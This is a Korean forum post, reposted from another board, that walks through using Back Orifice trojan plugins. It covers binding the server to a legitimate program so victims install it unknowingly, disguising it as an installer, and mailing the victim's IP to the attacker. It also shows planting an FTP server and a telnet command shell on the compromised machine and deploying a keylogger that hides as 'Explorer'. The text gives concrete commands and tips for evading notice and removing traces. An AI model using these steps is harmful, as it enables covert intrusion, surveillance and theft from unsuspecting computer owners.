BO 커맨드 사용법
이글은 해적K 게시판에 게시된 seanet 님의 글입니다.
: BO 플러그인 사용법
백오리피스(Back Orifice) 플러그인에 대해 제가 알고 있는것만 적어볼까 합니다.
여기서 설명할 플러그인은
SILKROPE
SARANWRAP
BUTT TRUMPET
BOFTP
입니다.
BUTT SNIFFER라는 스니퍼 플러그인도 있습니다만...제 경우에 제 컴퓨터에
설치하고 제 컴퓨터에서 접속하면 제대로 동작하지만 다른 컴퓨터에 설치하고
접속하면 연결이 되질 않더군요. 아직 문제가 무엇인지 발견하지 못했습니다.
이것의 설명은 다음으로 미뤄야겠군요.
그리고 서비스로 KEY LOGGING 프로그램도 하나 소개할까 합니다.
KEY LOGGING 프로그램은 많고도 많지만 그중에 정말 쓸만한것은 2-3개에
불과한것 같습니다. 그중에 LOG.EXE 를 소개해 드리죠.
먼저 플러그인 설명부터...
▶ 플러그인 사용법
1. SILKROPE - BOSERVE.EXE와 임의의 설치프로그램을 합쳐주는 플러그인.
필요한 파일 :
SILKROPE.EXE
SILKROPE.DAT
BOSERVE.EXE
임의의 실행파일 또는 설치프로그램(EX:WINAMP.EXE,NOTEPAD.EXE등등)
위의 프로그램들이 모두 같은 디렉토리에 있어야 합니다. 그리고 여기서
BOSERVE.EXE는 환경설정을 미리 해두어야겠죠. 준비됐으면 도스창에서
SILKROPE.EXE를 실행합니다.
C:\BO>SILKROPE.EXE
SilkRopeBind -- Bind the BO Installer to a "real" program
by Brian Enigma
BO_INSTALLER + REAL PROGRAM --> INFECTED.EXE
File name of your Back Orifice installer?[defaults to BOSERVE.EXE]
: 여기에 BOSERVE.EXE의 파일명을 적어줍니다. 파일이 BOSERVE.EXE라면
안적어줘도 되겠죠.
EX>BOSERVE.EXE
File name of the "real" program to be run?
(it will not be modified in any way, only copied into INFECTED.EXE
: 여기엔 임의의 실행파일 또는 설치프로그램의 파일명을 적습니다.
EX>WINAMP.EXE
그럼 이제 됐습니다. INFECTED.EXE란 파일이 바로 BOSERVE.EXE와 다른
실행파일을 합친 프로그램입니다. 이것의 이름을 원래 실행파일명으로 다시 바꿔서
상
대컴퓨터에 집어넣으면 되는겁니다.
2. SARANWRAP - SILKROPE와 비슷한 목적을 가진 프로그램이고 단지 SILKROPE는
플러그인을 실행파일과 합쳐주는 것이지만 이것은 설치프로그램의 일부인것처럼
위장시켜주는 플러그인입니다.
필요한 파일 :
SARANWRAP.EXE
BOSERVE.EXE
임의의 실행파일 또는 설치프로그램(EX:WINAMP.EXE,NOTEPAD.EXE등등)
위의 세 파일이 같은 디렉토리에 있어야 한다. 준비가 됐으면 다음과 같이 한다.
① 먼저 BOSERVE.EXE를 DATA1.Z 로 이름을 바꾼다.
② 임의의 실행파일(EX:WINAMP.EXE, NOTEPAD.EXE등)의 이름을 DATA2.Z 로
바꾼다.
③ SARANWRAP.EXE의 이름을 2번의 원래 실행파일의 이름으로 바꾼다.
- 2번에서 실행파일이 WINAMP.EXE였다면 SARANWRAP.EXE를 WINAMP.EXE로
이름을 바꾼다.
이렇게 이름을 바꾼 세 파일을 압축해서 설치프로그램인척 누군가에게 전해주면
일은 끝나겠죠.
3. BUTT TRUMPET - BOSERVE.EXE가 상대컴에 설치된다고 해도 그 컴퓨터의
IP 어드레스를 모르면 소용이 없죠. 이 BUTT TRUMPET 플러그인을 사용하면
BOSERVE.EXE가 설치된 컴퓨터의 IP어드레스를 메일로 확인할 수 있습니다.
필요한 파일 :
BOSERVE.EXE
BOCONFIG.EXE
BT.DLL - BUTT TRUMPET 플러그인 파일입니다.
그럼 도스창으로 나가서 다음 순서대로 하시기 바랍니다.
c:\bo>boconfig.exe boserve.exe
BOConfig 1.0 - Configures execution options for a Back Orifice server
Runtime executable name: (does not necessarily have to end in .exe)
- boserve.exe가 상대컴에 설치될때의 파일이름을 적습니다 디폴트는 .exe
ex)server.exe
Exe description in registry:
- 레지스트리에 등록될 설명을 적어줍니다...아무거나...
ex)BackOrifice
Server port:
- 포트넘버를 지정해 줍니다. 디폴트는 31337(권장)
ex)31337
Encryption password:
- 자기만의 암호를 설정합니다. 암호를 설정하지 않으면 누구나 다 쓸수 있겠죠.
안적어두 됩니다.
ex)pass
Default plugin to run on startup:
-여기서부터 플러그인(여기서는 bt.dll)을 설정해줍니다.
ex)bt.dll:_start
Arguments for plugin:
- 플러그인의 파라미터를 설정합니다. BT에서는 메일주소를 적어주는데와 똑같은
형식
으로 지정해줘야 합니다.
ex)mail.hotmail.com,[email protected]
------------------------ ────┬──────
│
└────────
이메일 주소입니다.
│
└───
메일서버의 주소를 적습니다...이때 hotmail.com 과 같은
웹메일서버는 SMTP를 지원해주지 않기 때문에 위의 예처럼 mail.hotmail.com이라고
앞
에 mail을 적어줘야 됩니다. ( 메일서버와 이메일주소는 콤마(,)로 구분)
File attach:
- boserve.exe에 합쳐질 플러그인 파일(여기선 bt.dll)을 적어줍니다.
ex)bt.dll
Write file as:
- 플러그인 파일이 합져질 파일...당연히 boserve.exe가 되겠죠.
ex)boserve.exe
자 그럼 다 됐습니다.
설정이 끝난뒤의 boserve.exe의 파일크기는 약 180k바이트정도 될겁니다.
이 파일이 네트웍가능한 컴퓨터에 설치되면 그 컴퓨터가 다음 부팅할때 위에서
지정한 메일 주소로 IP와 컴퓨터이름등을 다음과 같이 메일로 보내주게 됩니다.
Hello,
My address is:
xxx.xxx.xxx.xxx
(서버이름.서버의 도메인네임::컴퓨터이름)
그리고 또하나 말씀드린다면 무작위로 BO가 설치된 컴퓨터를 스위핑으로 찾고자
할때 그 수많은 IP의 서브넷을 다 뒤진다는건 참으로 고역이죠.
대충 ISP의 서브넷만 알아도 좋을텐데 말이죠. 제 경우 IRC를 통해서 서브넷을 알아내
는데요. IRC의 경우 /dns nick하면 상대의 IP가 나옵니다. 그럼 그 IP의 서브넷을
검
색해보면 되겠죠. 이렇게 IP를 검색해주는 스크립트가 이미 나와 있습니다. rIP.ini라
고
좀 찾아보시면 쉽게 나올겁니다. 이걸로 스위프리스트를 만들어서 BO에서 검색하면
편하게 찾을 수 있겠죠.
4. BOFTP - BOSERVE.EXE 가 설치된 컴퓨터를 FTP서버로 만들어주는 플러그인
입니다.
BOGUI만으로 원격지 파일을 관리하는건 불편하기 그지없지요. HTTP를 이용해서
파일을 주고 받을 수도 있지만 파일주고받는거야 FTP가 더 편하게 마련이죠.
BOFTP의 DLL.EXE파일을 실행해보면 SERVE-U 프로그램이 나옵니다. 그러니
이것은 SERVE-U 를 이용해서 FTP서버로 만들어준다는걸 알수 있죠.
이 플러그인은 원격지(BOSERVE.EXE가 설치된 컴퓨터)에서 설치해야 하며
반드시 C:\루트에서 실행되야 합니다.
필요한 파일 :
DLL.EXE - BOFTP.ZIP 을 풀면 나옵니다.
설치법 :
① 먼저 BOSERVE.EXE가 설치된 컴퓨터를 찾아야죠...
② BOSERVE.EXE가 설치된 컴퓨터를 찾았으면 BO클라이언트(BOGUI,BOCLIENT)로
HTTP명령을 써서 상대컴을 HTTP 서버로 만듭니다.
(HTTP 명령에는 파라미터가 2개(포트번호, 루트)필요하다고 되어있지만 루트
파라미터는 공란으로 두고 포트번호만 적어서 실행하세요. 루트를 적어주면 그
디렉토리만 활성화 되어서 그 안의 파일이나 디렉토리는 억세스 할 수 없습니다.)
③ 웹브라우저를 실행해서 주소란에 "http://상대컴퓨터 IP:포트번호"
를 적고 접속
합니다.
EX) http://xxx.xxx.xxx.xxx:80 - 포트번호를 80으로 했을때
④ 접속에 성공하면 상대컴퓨터의 접근가능한 모든 드라이브 문자가 나올겁니다.
여기서 C:\ 로 들어갑니다.
(주소를 적을때 "http://xxx.xxx.xxx.xxx:80/C:\" 라고 쓰면 바로 C드라이브로
접속됩니다.)
⑤ C 드라이브에 접속하면 화면 맨 아래에 파일을 업로드 할수 있도록 되어 있습니다.
여기서 파일을 위의 DLL.EXE를 선택해서 왼쪽의 업로드 버튼을 누릅니다.
⑥ 그럼 업로드 하는 동안에 다시 BO클라이언트로 APP ADD 명령으로 상대컴에
COMMAND.COM을 실행합니다. 텔넷으로 접속하기 위해서죠.
실행하는 방법은 첫번째 파라미터에는 COMMAND.COM을 쓰고 두번째 파라미터에
는 포트번호를 적습니다. 이때 위의 HTTP명령을 쓸때의 포트번호를 제외한 번호를
써야겠죠.
EX)BOCLIENT.EXE사용시(포트번호를 23으로 할때)
APPADD COMMAND.COM 23
⑦ 적당한 텔넷프로그램(윈도기본텔넷도 좋고 이야기나 데이타맨도 좋습니다.)을
실행
해서 상대컴퓨터의 IP주소로 호스트를 추가합니다. (데이타맨에서는 접속목록이죠..
이야기는 전화번호부인가...)
⑧ 이제 그 번호로 접속하면 상대컴에 텔넷으로 접속하게 된겁니다. 해보시면
아시겠
지만 상대컴의 23번 포트에서는 지금 COMMAND.COM이 동작하고 있으므로 접속
하면 윈도 도스창을 실행할때와 같이 텔넷에 표시가 됩니다. 여기서는 도스 기본
명령만 동작하게 됩니다.
⑨ 자...이제 ⑤번에서의 DLL.EXE의 전송이 끝났으면 텔넷으로 DIR명령을 내려봅니다.
아마 C:\에 DLL.EXE파일이 있을겁니다.
⑩ 이제 DLL.EXE 파일을 실행합니다. 이것은 자동풀림파일로 실행하면 몇개의
파일이
나올겁니다.
⑪ 마지막입니다. DLL.EXE 를 실행해서 생긴 파일중에 1.BAT파일을 실행합니다.
자동으로 FTP를 설치하며 DLL.EXE 파일과 그에 의해 생긴 파일도 알아서 지워주므로
흔적은 남지 않을 것입니다.
이제 다 됐으니 FTP 프로그램으로 접속하면 되겠죠... 이번에는 설명이 너무 장황했군
요...흠...-_-
5. KEY LOGGING 프로그램
KEY LOGGING 프로그램으로 쓸만한 것으로는 KEYLOGER97(또는 IK97)과 LOG.EXE
(또는 KEYLOG98)이 있습니다. 하지만 앞의 IK97은 설치프로그램이 있어서 설치과정을
거쳐야 하니 상대컴에 설치하고자 하면 그림의 떡이죠. 하지만 LOG.EXE는 설치과정도
필요없으니 만약 상대가 모르게 하고 싶다면 LOG.EXE가 단연 추천감이죠.
LOG.EXE는 일단 한번 실행되면 그 다음부턴 부팅시에 자동으로 실행됩니다.
(물론 IK97도 그렇긴 하지만...)
그리고 LOG.EXE는 CTRL-ALT-DEL을 누르면 나오는 작업관리창(?)에 Explorer이라고
표시됩니다.
반면 IK97은 ik97이라고 표시되죠.
IK 97도 그렇지만 LOG.EXE도 설명이 필요없습니다.
그저 HTTP로든 FTP로든 상대컴퓨터에 전송해서 그저 LOG.EXE만 실행하면 되니까...
텔넷으로 실행하면 되겠죠? 되도록이면 디렉토리 깊숙한 곳에 복사하셔야겠죠.
상대가 모르게 할려면...
로깅된 파일은 C:\WINDOWS\SYSTEM 디렉토리 안에 '97X' 란 디렉토리가 생기고
그안에 저장됩니다.
자...부디 위에 말씀드린 여러가지들을 악용하지 마시기 바라고 또 자기 자신도
조심하시기 바랍니다.